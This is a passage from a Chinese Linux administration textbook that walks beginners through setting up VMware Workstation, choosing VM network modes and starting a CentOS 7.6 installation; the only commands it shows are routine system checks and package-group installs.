简单地说，虚拟机（Virtual Machine）软件就是一套特殊的软件，它可以作为操作系统独立运行，也可以运行于操作系统之上。若是运行于系统之上的虚拟机软件，在一台电脑（PC或笔记本等）上安装完虚拟机软件之后，就可以模拟出来若干台相对独立的虚拟PC设备，并且可以在每台虚拟的PC设备上安装运行操作系统，运行网络服务，其与真实的计算机设备几乎无任何使用差别。
 
使用时，需要先在电脑上安装好虚拟机软件（例如，VMware Workstation），然后通过安装的虚拟机软件创建一个或多个虚拟机系统（即虚拟的电脑设备），最后在这些虚拟的电脑设备上安装操作系统并进行启动配置。最终实现在一台电脑上“同时”运行多个虚拟机设备系统。
 
另外，还可以将这些虚拟的系统连成局域网，用来部署网站集群架构等更深层次的运维技术，这样的虚拟环境，在后文会有讲解。图1-9为安装WMware Workstation虚拟机软件后打开的软件界面。
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图1-9　Windows7系统安装WMware Workstation12虚拟软件窗口
 
如图1-9所展示的是在Windows 7桌面操作系统上安装的虚拟机软件VMware，这里通过配置VMware虚拟出了6台PC设备，且分别在这6台PC上安装了Linux系统和XP系统。这6个虚拟机同时在一台电脑上独立运行，几乎互不干扰，并且可以同在一个局域网内，还可以互相通信。
 
经过前面对虚拟机软件的介绍，相信读者应该知道了虚拟机软件到底是什么了吧。下面，笔者介绍一些网友常用的虚拟机软件，如表1-2所示。
 
表1-2　常用的虚拟机软件及选择建议
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1.7.2　通过虚拟机软件学习
 
通过虚拟机软件学习是初学者学习Linux运维的最佳方式。
 
在与部分网友和学生的交流中，“老男孩教育”的老师发现，很多初学者都认为，学习Linux就必须将自己的电脑装成Linux系统或者必须要有真正的服务器设备。而实际上这些是一些机构、书籍或网络文章给人传导的错误思想和思维。其实，学习Linux最简单、最实用的环境就是虚拟机环境（例如，通过VMware Workstation等软件学习）。笔者这样说的原因有如下几点。
 
1）利用虚拟机软件搭建Linux学习环境简单，容易上手，最重要的是利用虚拟机模拟出来的Linux与真实的Linux几乎没有任何区别。如果购买服务器动则就要一两万元人民币，不是一般的网友所能承受的，而且声音很大，很费电。如果用PC和笔记本搭建Linux（包括双系统共存方式），那就完全是Linux环境了，这样做不但加大了你的学习难度（例如，没法用Word等记笔记，以及正常浏览网页），也与实际的工作环境相差很远，即南辕北辙了，企业里运维人员的工作环境绝大多数都是在Windows桌面系统下通过SSH工具（SecureCRT/Xshell）远程连接千百里之外的Linux服务器进行管理和维护的。因此，用虚拟机软件来搭建环境是最接近企业工作环境的。
 
2）搭建Linux集群等大规模环境有时需要同时开启几台虚拟机（每台虚拟机仅需256～512MB内存（CentOS7以上最好是1GB以上）、6～8GB的硬盘空间即可（CentOS7以上最好12GB以上）），此时如果是用服务器或者自己的电脑安装Linux，则很难满足学习要求，购买多台服务器就更不现实了。事实上，仅仅利用价值四五千元人民币的个人笔记本电脑就可以轻松实现搭建中小规模Linux集群架构的学习需求。
 
3）用虚拟机学习，如果电脑配置高一点，那么可以同时开启多个Linux虚拟机学习，上班、回家的路上，带着笔记本电脑即可随时学习，如果是多台真实电脑和服务器设备，就没法移动了。当然有读者会说可以放机房里，但这个代价也太大了。大多数学习者很难有这样的资源。
 
4）使用虚拟机系统环境，我们可以对虚拟系统随意进行任何的设置和更改操作，甚至可以格式化虚拟机系统硬盘，进行重新分区等操作，而且完全不用担心会丢掉有用的数据，因为虚拟机是系统上运行的一个虚拟软件，对虚拟机系统的任何操作都相当于是在操作虚拟机的虚拟机设备和系统，不会影响电脑上的真实数据。
 
综上所述，笔者给大家的建议就是，踏实地用虚拟机学习就足够了，学习Linux运维，几乎99.9%的知识都与硬件设备无关，我们不要为自己设置太多的限制和门槛，那样会影响学习Linux的进度，从而可能丧失学习Linux的兴趣。
 
当然了，如果在学习的过程中有条件的话可以去接触一下真正的服务器设备。在实际教学中，我们会让学生接触到服务器，不仅可以进行RAID制作，还可以为真实的物理服务器装系统。总之一句话，如果没有设备，则用电脑上安装的虚拟机一样可以搭建逼近工作环境的学习环境；如果有了设备配合虚拟机学习，那么能利用好设备学习则更佳。在实际工作中，绝大多数人员都会使用云环境提供的虚拟机，运维人员接触到真实硬件的机会越来越少了。
 
企业真正服务器硬件手把手介绍http://v.qq.com/page/g/x/y/g016789xvxy.html

 
1.7.3　选择适合自己的虚拟机软件
 
1.选择适合的虚拟机软件
 
如果你使用的是Windows系统，那么，老男孩推荐你使用VMware WorkStation，如果是MacOS平台则可以选择Virtual PC，如果你用的是Ubuntu系统，则可以选择Xen、KVM、VMware（Linux版本）。本书将以在Windows 7系统上安装VMware WorkStation 12（这里读者也可以选择更高版本即14 PRO版）为例，为大家讲解Linux运维技术，同时还会在DELL R710真实服务器环境上进行测试，其他环境的搭建大同小异，进入到Linux里面几乎没有差别。
 
2.虚拟机软件对硬件的要求
 
虚拟机软件的原理是利用宿主机物理硬件资源虚拟PC设备，因此对物理机硬件的要求比较高，其中最主要的是内存、硬盘和CPU资源。首先，宿主机物理内存要足够大，最低要在8GB以上（CentOS7最好是16GB以上），因为在创建虚拟设备时，要为每个虚拟机分配一定的内存资源（CentOS7一般最小为1024MB，内存设置太小会出现特殊问题）和硬盘空间（默认为10GB以上，实际最好是20GB以上），SSD（固态硬盘）最好，同样也要分配CPU资源，CPU最好是I5以上，例如，为每个虚拟机分配一核CPU。当然了，多个虚拟机系统也可以同时占用一核CPU，在日常学习Linux时，如果不进行大量并行安装软件等消耗CPU资源的操作，使用虚拟机环境还是非常舒服的。
 
1.7.4　安装与使用VMware虚拟机软件
 
1.对VMware Workstation版本的建议
 
表1-3中给出的是选择VMware Workstation版本的建议，仅为建议，非必须。
 
表1-3　VMware Workstation版本选择建议
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[image: ]提示：如果找不到合适的软件，则可以进QQ群784850820（口令：核心基础），进群获取相关软件。
 
2.虚拟机软件的安装
 
在Windows系统下安装了适合Windows版本的VMware Workstation之后，就可以在VMware Workstation上创建虚拟机了，之后运行创建的虚拟机，在虚拟机上安装CentOS Linux操作系统，这个安装过程与在实际生产环境下的安装是一样的。
 
VMware Workstation虚拟机软件的安装很简单，只需要按照Windows常规方法持续按“下一步”即可完成，这里不再讲述，如果你遇到了问题可以去前言中寻找笔者为本书建立的问题反馈交流群。
 
1.7.5　创建一个虚拟机实践
 
1.创建一个新的虚拟机
 
1）虚拟机软件安装完毕后，双击桌面上的VMware Workstation图标或者在开始程序菜单里找到VMware Workstation图标以启动VM应用程序，如图1-10所示。
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图1-10　VMware Workstation虚拟机软件主界面
 
2）接下来按Ctrl+N快捷键（或者选择菜单栏“文件”→“新建虚拟机”）创建一个新的虚拟机，此时会出现新建虚拟机向导窗口，如图1-11所示。
 
3）在如图1-11所示的虚拟机创建向导界面中，选择“自定义（高级）”，即自定义安装，然后点击“下一步”按钮继续，弹出如图1-12所示的界面。
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图1-11　虚拟机创建向导界面
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图1-12　虚拟机硬件兼容和设备限制说明界面

 
4）图1-12描述了虚拟机硬件兼容和虚拟设备大小限制，在图1-12右侧的“限制”下面，可以发现软件对要创建的虚拟机的硬件大小会有限制，例如，内存最大为64GB，CPU“16个处理器”，磁盘“8TB磁盘大小”等，不过，这些并不会影响我们的学习，保留默认选择即可。然后点击“下一步”按钮继续，此时会出现如图1-13所示的窗口。
 
5）在如图1-13所示的界面中，“为虚拟机选择如何安装系统”这一步骤很关键，请选择界面最下面标示的“稍后安装操作系统”，表示创建虚拟机后不再默认安装系统了，即创建虚拟机后，我们可以手动选择镜像或光盘放入虚拟光驱自行安装，如果选择了“安装程序光盘映像文件”则在创建完虚拟机后就会自动安装系统，这样做虽然很方便，但是会增加太多的安装包，并且会自动分区，这样就不是企业环境安装的标准了。选择完毕，然后点击“下一步”按钮继续，这时会出现如图1-14所示的界面。
 
6）“为虚拟机选择系统类型及内核版本”也很关键，其作用是选择什么系统类型以及内核版本进行系统安装，如果选错了，则可能无法正确安装系统。
 
这里选择的是“Linux”系统类型，为“CentOS 64位”系统，因此也可以在系统类型中直接选择，选择完毕，然后点击“下一步”按钮继续，这时会出现如图1-15所示的界面。
 
7）在如图1-15所示的界面中，要为虚拟机命名并选择安装程序的路径，路径要选择大一点的宿主机磁盘分区，剩余空间至少要大于20GB，配置完毕后点击“下一步”按钮继续，这时出现的界面如图1-16所示。
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图1-13　为虚拟机选择如何安装系统
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图1-14　为虚拟机选择系统类型及内核版本
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图1-15　为虚拟机命名及选择程序安装路径
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图1-16　为虚拟机选择CPU资源

 
8）在如图1-16所示的界面中，要选择虚拟机对应的CPU的颗数，以及每个CPU的核数，默认都是1，保持默认选择即可，我们仅仅是用虚拟机进行学习和实验，不要求虚拟机设备资源有多好。点击“下一步”按钮继续，这时出现的界面如图1-17所示。
 
[image: ]注意：CentOS系列x86_64在虚拟机上设置CPU时可能会出现故障，这是因为笔记本或台式机硬件CPU需要支持虚拟化技术，但有些系统硬件默认是不支持的，可以通过调整BIOS使其支持，不过，某些老机器可能只能安装32位的Linux系统。详见本节结尾处说明。
 
9）“为虚拟机选择内存资源大小”也很关键，默认选择的虚拟机内存大小为1024MB，对于CentOS7来说正好合适。之后，点击“下一步”按钮继续，这时出现的界面如图1-18所示。
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图1-17　为虚拟机选择内存资源大小
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图1-18　为虚拟机选择网络类型

 
内存大小设置分析
 
·创建虚拟机时，内存至少要大于512MB，最好是1GB以上，否则安装系统可能报错，因为从CentOS6开始多数都使用图形界面来来安装系统了，特别是CentOS7占用内存会比较大。

·安装Linux之后，启动虚拟机时，内存最好在1024MB以上，最低是512MB，否则也可能报错。

·如果是CentOS5系列，那么安装时内存为256MB，启动时100MB左右即可。CentOS6和CentOS7系列安装和启动都会占用更多的内存，特别是CentOS7，推荐使用1024MB以上的内存。
 
10）“为虚拟机选择网络类型”极其关键，VMware虚拟机常见的网络类型有bridged（桥接）、NAT（地址转换）、host-only（仅主机）3种，在分析如何选择之前，先向大家简单介绍下这三种网络类型。
 
·NAT（地址转换）
 
NAT（Network Address Translation），网络地址转换，NAT模式是比较简单的实现虚拟机上网的方式，简单的理解就是，NAT模式虚拟机就是通过宿主机（物理电脑）进行上网和交换数据的。
 
在NAT模式下，虚拟机的网卡连接到宿主机的VMnet8上。此时系统的VMware NAT Service服务就充当了路由器，负责将虚拟机发到VMnet8的包进行地址转换之后再发到实际的网络上，再将实际网络上返回的包进行地址转换后通过VMnet8发送给虚拟机。VMware DHCP Service负责为虚拟机分配IP地址。NAT网络类型的原理逻辑图如图1-19所示。
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图1-19　VMware NAT网络模式原理逻辑图
 
NAT网络特别适合于家庭里电脑直接连接网线的情况，当然办公室的局域网环境也是适合的，优势就是不会与其他物理主机IP发生冲突，且在没有路由器的环境下也可以通过SSH NAT连接虚拟机学习，换了网络环境虚拟机IP等不影响，这是笔者推荐的选择。
 
·Bridged（桥接模式）
 
桥接模式可以简单地理解为通过物理主机网卡架设了一座桥，从而连入到实际的网络中。因此，虚拟机可以被分配与物理主机相同网段的独立IP，所有网络功能与网络中的真实机器几乎完全一样。桥接模式下的虚拟机和网内真实计算机所处的位置是一样的。
 
在Bridged模式下，电脑设备创建的虚拟机就像一台真正的计算机一样，它会直接连接到实际的网络上，逻辑上上网与宿主机（电脑设备）没有联系。Bridged网络类型的原理逻辑图如图1-20所示。
 
Bridged网络类型适合的场景：特别适合于局域网环境，优势是虚拟机像一台真正的主机一样，缺点是可能会与其他物理主机IP发生冲突，并且在与宿主机交换数据时，都会经过实际的路由器，在不考虑NAT模式的时候，就选这个桥接模式，桥接模式下更换了网络环境之后，所有虚拟机的IP都会受影响。
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图1-20　VMware Bridged网络模式原理逻辑图
 
·Host-only（仅主机）
 
在Host-only模式下，虚拟机的网卡会连接到宿主的VMnet1上，但宿主系统并不会为虚拟机提供任何路由服务，因此虚拟机只能与宿主机进行通信，不能连接到实际的网络上，即无法上网。Host-only网络类型的原理逻辑图如图1-21所示。
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图1-21　VMware Host-only网络模式原理逻辑图
 
笔者的写书环境是办公室环境，有物理路由器，不经常更换网络环境，因此，这里选择以桥接模式为例为大家讲解（如图1-22所示）。在选择了网络类型之后，点击“下一步”按钮继续，此时出现的界面如图1-23所示。
 
11）在如图1-23所示的界面中选择虚拟机的I/O控制器类型，采用默认类型即可，选择完毕，点击“下一步”按钮继续，此时出现的界面如图1-24所示。
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图1-22　为虚拟机选择桥接网络类型
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图1-23　为虚拟机选择I/O控制器类型

 
12）在选择虚拟机磁盘类型时，采用默认的SCSI即可（VM高版本会有SAS选项，不过建议不要选该选项），选择完毕后，点击“下一步”按钮继续，会出现如图1-25所示的界面。
 
 
 [image: ] 


图1-24　为虚拟机选择虚拟机磁盘类型
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图1-25　为虚拟机选择使用的磁盘

 
13）在选择虚拟机使用的磁盘时，采用默认的“创建新虚拟磁盘”即可创建一个虚拟磁盘，选择完毕后，点击“下一步”按钮继续，会弹出如图1-26所示的界面。
 
14）在选择虚拟机使用的磁盘容量时，仍然是采用默认的20GB的配置，选择完毕后，点击“下一步”按钮继续，此时出现的界面如图1-27所示。
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图1-26　为虚拟机指定磁盘容量
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图1-27　指定在何处存放磁盘文件

 
15）如图1-28所示的界面显示的是配置的虚拟机的所有选项信息，如果与前面选择一致的话，则点击“下一步”按钮继续，出现的界面如图1-28所示。
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图1-28　显示配置的虚拟机的所有选项信息
 
16）图1-28为显示配置的虚拟机的所有选项信息，可以通过滚动条下拉查看，点击左下的“自定义硬件”按钮可以自定义添加其他硬件，例如磁盘、网卡等，这里保留默认。选择完毕后，点击“下一步”按钮继续，会出现如图1-29所示的界面。
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图1-29　创建虚拟机后的主界面
 
17）图1-29所示的界面中展示的是创建虚拟机后的界面信息，左边是虚拟机的名称，右边是虚拟机的实际配置。在这个窗口中，可以为创建好的虚拟机配置光驱，将CentOS镜像文件（CentOS-7-x86_64-DVD-1810，需要单独下载，如果阿里云提供的地址没有CentOS7.6了，那么下载更高的7系列版本也可以，只要是7系列都可以）放到光驱里，就可以启动虚拟机安装Linux系统了。选择窗口右边的光驱选项，会出现如图1-30所示的界面。
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图1-30　配置CentOS7.6ISO镜像文件载入光驱
 
18）将CentOS7.6 ISO镜像文件载入光驱，接下来就只剩下启动虚拟机安装系统了。点击“开启虚拟机”即可，如图1-31所示。
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图1-31　准备启动虚拟机安装CentOS7.6界面
 
启动虚拟机后可能遇到的问题及应对方法
 
1）在实际教学过程中，笔者发现有些同学的笔记本电脑默认情况下使用VMware软件创建虚拟机之后，在虚拟机中不支持64位CentOS系统的安装，如图1-32所示。
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图1-32　虚拟机开机提示不支持CentOS 64位系统
 
解决方法如下。
 
进入笔记本或台式机的BIOS（具体型号设置方法，读者可以自行搜索），然后找到类似如下选项进行调整，不同的电脑会略有不同，这里以ThinkPad电脑为例说明，具体情况如图1-33和图1-34所示。
 
在图1-34中，2个选项都改成Enabled，然后保存，如果没有意外，就可以安装64位操作系统了。如果重启电脑依然不行，那就是电脑的硬件问题了，只能装32位系统或者换支持64位系统的硬件。
 
 
 [image: ] 


图1-33　调整宿主机（电脑）BIOS支持64位系统安装
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图1-34　调整宿主机（电脑）BIOS支持64位系统安装
 
2）选择Windows10系统，可能会导致各种权限问题，如图1-35所示。
 
解决方法如下。
 
关闭VMware虚拟机，然后单击右键打开菜单，选择如图1-36所示的内容。
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图1-35　Windows 8/10系统导致权限问题
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图1-36　Windows 8/10以管理员身份运行图

 
更多问题，请大家加入本书开篇为读者提供的QQ交流群或微信交流群，进群交流。
 
到此为止，VMware虚拟机的准备工作就全部做完了，第2章将为大家讲解安装Linux系统的知识。
1.8　本章重点
 
1）了解什么是操作系统以及操作系统简单原理图。
 
2）了解Unix/Linux的发展历史。
 
3）了解市面上常见的Unix系统版本。
 
4）了解Unix及Linux诞生发展的几个关键人物。
 
5）重点了解GNU、GPL知识。
 
6）了解Linux系统的特点。
 
7）了解Linux系统的常见发行版本，不同场景选择。
 
8）重点了解CentOS和Red Hat的区别和联系。
 
9）了解CentOS各个版本的应用场景及企业应用情况。
 
10）学会搭建学习Linux的环境。
 
注意：最好是能口头表达出上述了解的内容。
1.9　本章相关问题
 
1）请详细描述GNU的相关知识和历史事件。
 
2）请描述什么是GPL？
 
3）企业工作中如何选择各Linux发行版？
 
4）Red Hat Linux和CentOS Linux有什么区别和联系？
 
5）请说出3个以上你认为Linux受欢迎的特点。
1.10　本章参考资料
 
·操作系统介绍资料
 
http://baike.baidu.com/view/880.htm

 
·自由软件基金会
 
http://www.gnu.org/philosophy/free-sw.html

 
·GNU与GPL知识
 
http://www.gnu.org/home.zh-cn.html

 
·GPL协议英文版
 
http://www.gnu.org/licenses/gpl.html

 
·虚拟机及虚拟机软件的知识
 
http://zh.wikipedia.org/wiki/%E8%99%9A%E6%8B%9F%E6%9C%BA%E6%AF%94%E8%BE%83#.E8.99.9B.E6.93.AC.E6.A9.9F.E5.99.A8.E6.AF.94.E8.BC.83

 
·本章内容对应的视频精品资料
 
http://edu.51cto.com/course/course_id-839.html

第2章　企业级CentOS7.6操作系统的安装
 
2.1　下载CentOS系统ISO镜像

 
2.1.1　下载CentOS系统ISO镜像说明
 
要安装CentOS系统，就必须要有CentOS系统软件安装程序，可以通过浏览器访问CentOS的官方站点http://www.centos.org，然后依次选择“GET CENTOS“→”More download choices”链接，点击进入后即可下载。由于国外站点下载较慢，因此，推荐直接选择国内的高速镜像站点下载64位的系统版本（32位系统已经退出历史舞台），以下是64位的下载链接。
 
https://mirrors.aliyun.com/centos/7.6.1810/isos/x86_64/

 
[image: ]提示：如果上述CentOS下载地址过期无法下载，那么可以直接下载最新7系列的版本，比如，输入http://mirrors.aliyun.com/centos/进入地址后再选择，或者加入QQ群784850820以获取本书的对应资料，以及交流学习中遇到的疑难问题。
 
下载完成后，得到的是CentOS7操作系统的ISO系统软件安装程序，文件为DVD格式（早期还有CD格式），扩展名为.iso，软件程序文件名见表2-1。
 
表2-1　标准版CentOS7.6软件程序文件格式
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[image: ]提示：熟悉CentOS6的读者可能会发现CentOS7的ISO文件命名也发生了变化。
 
2.1.2　下载后有关ISO镜像的使用说明
 
正如前面提到的，扩展名为“.iso”格式的操作系统文件就是所谓的镜像文件。这种镜像文件一般是用来刻录光盘的，文件占用空间比较大，单个DVD文件的大小可能会高达4GB。需要说明的是，这种ISO镜像文件不能直接以数据格式刻录成为DVD，这样是无法实现引导安装系统的！必须使用刻录程序的镜像刻录功能，将ISO文件以“镜像文件格式”刻录成CD/DVD盘才行。
 
那么，在不同的场景中，应该如何使用ISO镜像呢？这里给大家列举出几个不同场景下的使用建议。
 
·如果是单机物理服务器装系统，则可能需要购买空白DVD光盘刻录成DVD。不过，目前老男孩教学推荐的选择是制作U盘镜像引导安装。

·如果是在VMware/virtualbox等虚拟软件环境下学习，则不需要刻录成DVD光盘或制作成U盘。在创建完虚拟机后，直接指定ISO镜像文件路径到虚拟机的光驱，即可实现引导安装系统。

·如果是服务器数量比较多的工作环境，那么一般也不需要刻录成DVD光盘或制作U盘，大多数都会通过ISO镜像部署无人值守网络批量安装系统服务。
 
安装Linux系统的常见引导方式
 
·光盘引导安装（不推荐）。

·U盘引导安装（机器数量少时推荐）。

·网络安装（需要网卡支持，现在主流网卡都支持，机器数量多时推荐使用此方法）。
 
虚拟机环境可以直接使用ISO镜像，安装方式可以是上面三种方式中的任何一种。
 
2.1.3　为什么企业环境要选择64位操作系统？
 
目前，绝大多数企业生产环境使用的都是64位CentOS系统，CentOS7则彻底放弃了32位系统。那么，32位与64位系统到底有什么不同呢？为什么清一色选择64位系统呢？这就要从32位与64位系统的定位和区别讲起。
 
区别之一：当初设计时的定位不同。64位操作系统的设计定位是：满足机械设计和分析、三维动画、视频编辑和创作，以及科学计算和高性能计算应用程序等领域。这些应用领域的共同特点就是需要有大量的系统内存和浮点性能。简单地说，64位操作系统则是为高科技人员使用本行业特殊软件的运行平台而设计的。而32位操作系统则是为普通用户设计的。
 
区别之二：安装要求配置不同。64位操作系统只能安装在64位电脑上（CPU必须是64位的），并且只在针对64位的软件时才能发挥其最佳性能。32位操作系统既可以安装在32位（CPU是32位的）电脑上，也可以安装在64位（CPU是64位的）电脑上。当然，此时32位的操作系统是无法发挥64位硬件性能的。
 
区别之三：运算速度不同。64位CPU GPRs（General-Purpose Registers，通用寄存器）的数据宽度为64位，64位指令集可以运行64位数据指令，也就是说处理器一次可以提取64位数据（只要两个指令，一次提取8字节的数据），比32位提高了一倍（32位需要四个指令，一次只能提取4字节的数据），性能会得到相应的提升。
 
区别之四：寻址能力不同。64位处理器的优势还体现在操作系统对内存的控制上。由于地址使用的是特殊整数，因此一个ALU（算术逻辑运算器）和寄存器可以处理更大的整数，也就是更大的地址。比如，Windows 7 x64 Edition支持多达128 GB的物理内存和16 TB的虚拟内存，而32位的CPU和操作系统理论上最大只可支持4GB的内存，实际上也就是3.2GB左右的内存，当然32位系统是可以通过扩展来支持大内存的，扩展所采用的是PAE技术。
 
[image: ]提示：若要用一句话概括32位与64位系统的区别，那就是64位的系统其CPU运算速度更快，支持使用更大的内存，可以发挥更大更好的硬件性能，提升业务工作效率。
 
2.1.4　如何区分已安装的系统是32位还是64位？
 
在Linux系统中查看系统版本为32位还是64位的方法如下。
 
方法1，标准的查看方法。命令及输出如下：
 


[root@www ~]# uname -m

x86_64




 
上述输出结果中带有x86_64字样，说明该系统为64位。再来看看下面的命令及输出：
 


[oldboy@web ~]$ uname -a

Linux web 2.6.18-164.el5 #1 SMP Thu Sep 3 03:33:56 EDT 2009 i686 i686 i386 GNU/Linux




 
上述输出结果中带有i386/i686字样，说明该系统为32位。
 
还可以通过命令uname-a查看更多信息。
 
方法2为网友提供的方法。命令及输出如下：
 


[root@www ~]# ls -d /lib64

/lib64




 
输出结果中存在lib64目录，则表示该系统为64位的系统。
 
2.1.5　在学习与工作中如何选择操作系统
 
1.工作场景
 
当前，绝大多数服务器厂商如Dell、HP、IBM的服务器都是既支持32位又支持64位系统的。在老男孩的生产场景中，为了发挥硬件的最佳性能，尤其是对大内存的利用率，6年前就已经是100%使用64位操作系统了。目前，在正式的生产环境中使用32位系统的企业已经寥寥无几了，甚至绝大多数IT人员的笔记本电脑安装的Windows系统都是64位系统了。
 
2.学习场景
 
对于初学Linux的读者来说，使用32位或64位的系统都是可以的（两者会略有区别，但不是很大），但还是建议大家尽可能地使用64位的系统，以便与企业应用环境保持一致，这样才能提升学习效率与学习效果。笔者在工作及教学中发现，有部分硬件（相对较老）默认无法支持VMware等64位的虚拟化软件，个别初学者甚至在尽可能地调整电脑的BIOS设置及CPU虚拟化支持选项后，仍然无法支持VMware的64位虚拟能力，对于这样的硬件，就只能使用32位的系统了。虽然这对配置个别网络服务有一点影响，但其实用于学习问题不会太大，这个问题可以忽略不计。当然，如果手头宽裕，还是建议购买支持64位CPU虚拟化能力的电脑，以免为自己的学习增加障碍，新的主流电脑都是支持64位CPU虚拟化能力的。
 
有关调整电脑BIOS及CPU虚拟化选项的步骤，在第1章介绍安装虚拟化软件VMware的方法时就已经讲解过了，这里不再重复。
2.2　CentOS7.6操作系统的安装准备
 
2.2.1　单台物理服务器安装系统准备
 
对于单台物理服务器，在正式安装操作系统之前，需要首先确认以下两个问题，以便能够顺利安装系统。
 
·服务器光驱和系统安装光盘（需要将ISO文件刻成DVD光盘）都可用。

·服务器的各个硬件都能被CentOS7.6系统支持（当前市场上大多数品牌的服务器都已支持CentOS7.6）。
 
确认完毕后，就可以使用DVD光盘安装系统了，若考虑采用U盘安装的方式，则需要简单地制作U盘，请读者自行学习（参考http://blog.51cto.com/oldboy/1829907）。
 
2.2.2　虚拟机学习安装系统准备
 
作为初学者，在安装CentOS7.6系统之前，通常会在Windows系统上事先安装好虚拟机软件，例如VMware，然后打开运行安装的虚拟机软件，选择创建一个虚拟机，并配置好硬件，最后找到与创建的这个虚拟机对应的虚拟光盘驱动器。准备就绪之后，就可以将CentOS系统的ISO镜像文件加载进来了。图2-1即为VMware虚拟机加载CentOS7.6 ISO镜像文件的界面。在该界面的右侧，将默认的物理光驱选项“使用物理驱动器”，改为使用ISO镜像文件选项“使用ISO映像文件”，然后点击右边的“浏览...”找到事先下载好的CentOS7.6镜像文件加载进来即可。
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图2-1　VMware虚拟机加载ISO镜像图
2.3　开始安装CentOS7.6操作系统
 
2.3.1　安装CentOS7.6操作系统过程
 
加载完CentOS7.6的ISO镜像文件后，开启/重启电脑或虚拟机，此时，系统会进行自检，自检完毕就会出现安装系统时的引导界面，60秒后自动启动，如图2-2所示。
 
[image: ]提示：如果是在虚拟机上安装CentOS系统，则需要进入虚拟机界面操作；如果需要退出虚拟机界面，则可以按快捷键Ctrl+Alt。
 
1.选择系统引导方式
 
在如图2-2所示的引导界面中，我们可以看到共有3种引导方式，这3种方式对应的中英文含义具体见表2-2。
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图2-2　CentOS 7.6开机安装系统引导界面
 
表2-2　CentOS7.6的3种引导方式

 
 [image: ]

 
这其中，第一种（安装CentOS 7）和第三种（系统故障恢复）引导方式比较有用。
 
2.修改网卡名为eth0的形式（与CentOS7以前保持一致）
 
为了统一企业中的多版本系统共存的环境，这里将网卡名称设置为“eth*”的形式，不使用CentOS7默认的特殊网卡命名规则。所以在初始安装的时候，需要增加内核参数。
 
在如图2-2所示的界面中，按TAB键进入到如图2-3所示的内核参数配置界面，并手工输入如下参数，输入完毕后按回车键继续。
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图2-3　配置内核参数调整网卡名
 
[image: ]提示：
 
1）此步骤可在安装系统之后再配置，地址http://oldboy.blog.51cto.com/2561410/1722101。
 
2）CentOS7以前的ethX数字编号的网卡命名往往不一定能准确对应网卡接口的物理顺序，CentOS7的网卡默认命名可以解决这一问题，但同时也为Linux系统管理员带来了额外的困扰，即无法兼容CentOS6的环境以及使用习惯，所以，一般都还会改回早期的eth0、eth1网卡命名的形式。具体修改内核参数组合如下，默认内核参数（biosdevname=0，net.ifnames=1），网卡名如"enp5s2"；如果biosdevname=1，net.ifnames=0：网卡名如"em1"；如果biosdevname=0，net.ifnames=0：网卡名如"eth0"（传统的方式）。更多问题，读者可加入QQ群784850820。
 
3.进入下一步安装界面
 
选择“Install CentOS 7”，即默认选项，然后按Enter（回车）键进入图形安装界面。这里为什么不是采用文本方式呢？因为从CentOS6开始就无法使用文本模式完全定制化安装了，即在文本模式下无法定制磁盘分区，这是CentOS6和7与之前各版本的大不同之处。因此，在安装CentOS7.6系统时，通常都选择图形安装。
 
在加载过程中，可以看到如图2-4所示的界面，从图2-4中我们可以清晰地看到系统内部的一些自检和加载相关设备等的操作。
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图2-4　系统自检和加载基础设备图
 
[image: ]提示：Ctrl+Alt快捷键用于从虚拟机内向虚拟机外切换，如果已经进入了窗口，且需要按VMware窗口的最大化按钮（如图2-5），那么此时就要先使用Ctrl+Alt快捷键退出来之后再点击。
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图2-5　调整VMware最大化显示安装界面
 
最后进入如图2-6所示的界面，这里默认选择安装过程的语言显示为英语的“English”，然后点击“Continue”按钮继续。
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图2-6　调整VMware显示最大化后的安装界面图
 
[image: ]提示：此处仅仅是安装过程中的语言显示，不建议选择中文，要学会多亲近英文，至少是不要逃避，只有这样才能学好Linux运维，而且英文单词并不多，熟练了就都记住了。
 
4.进入到安装摘要页面（INSTALLATION SUMMARY）
 
进入图2-7所示的安装摘要页面拼接图，注意，这里是CentOS7与CentOS6区别较大的地方，CentOS6是一步步根据向导的提示进行安装，而CentOS7则是一个摘要平台页面，在这个摘要平台里，读者可以根据需要进行选择安装，图2-7中方框中的部分就是本次安装需要配置的选项。
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图2-7　需要配置的各个选项说明图
 
5.配置系统时区和时间（DATE&TIME）
 
在如图2-7所示的界面中，点击“DATE&TIME”后，进入配置界面进行配置，具体配置过程请参见图2-8界面中的描述和标记，其中最关键的是时区的配置，其他可以暂时忽略，这些在安装好系统之后也都是可以随时更改的。
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图2-8　系统时区和时间设置
 
6.选择额外的语言支持（LANGUAGE SUPPORT）
 
同样在图2-7所示的界面中，点击“LANGUAGE SUPPORT”之后，可增加一个中文语言配置（保留默认英文语言的配置），具体配置过程请参见图2-9所示界面中的描述和标记，配置完点击左上角的“Done”按钮返回即可。
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图2-9　语言支持界面
 
7.系统软件包选择（SOFTWARE SELECTION）
 
同样在图2-7所示的界面中，点击“SOFTWARE SELECTION”之后，选择左边的最小化安装选项，即“Minimal Install”，同时在右边的复选框中选择四个选项，具体配置过程请参见图2-10所示界面中的描述和标记，配置完点击左上角的“Done”按钮返回即可。
 
[image: ]提示：根据经验，选择安装包时应该采用最小化原则，即不需要的或不确定是否需要的就不安装，这样可以从最大程度上确保系统安全。
 
如果安装过程落下了部分包组，或者是其他伙伴安装时没有选择，那么在安装完系统后可以按如下方式补上安装时未安装的包组。
 
补充安装“Compatibility libraries”、“Base”、“Development tools”3个包组的命令为：
 


yum group install "Compatibility libraries" "Base" "Development tools" 




 
补充安装“debugging Tools”、“Dial-up Networking Support”2个包组的命令为：
 


yum group install "debugging Tools" "Dial-up Networking Support"




 
可以通过yum groupinfo包组名，查看具体安装的包组组件。
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图2-10　系统软件包选择界面
 
8.配置网络和主机名（NETWORK&HOSTNAME）
 
同样在如图2-7所示的界面中，点击“NETWORK&HOSTNAME”之后，激活右上角的网卡，变为ON，然后在右下角配置主机名为www，具体配置过程请参见图2-11界面中的描述和标记，配置完点击左上角的“Done”按钮返回即可。
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图2-11　配置网络和主机名
 
左下角的“Host name”表示配置主机名。在对应的选框里，会有默认的localhost.localdomain主机名，将其删除，然后设置自己的主机名，这里采用“www”作为主机名。
 
[image: ]提示：不建议保留默认的“Host name”主机名，设置一个规范的主机名，会显得更专业，这是运维的原则，而且也可以避免对后面业务服务的安装配置产生影响。自定义主机名时可以用普通的字符串（例如，www），或者完整的FQDN名（例如，www.etiantian.org）。最好就是由简单字母或字母带数字字符（以字母开头，不要只用数字，可带下划线等）组成，不要使用特殊字符。
 
9.选择磁盘设备，配置分区（INSTALLATION DESTINATION）
 
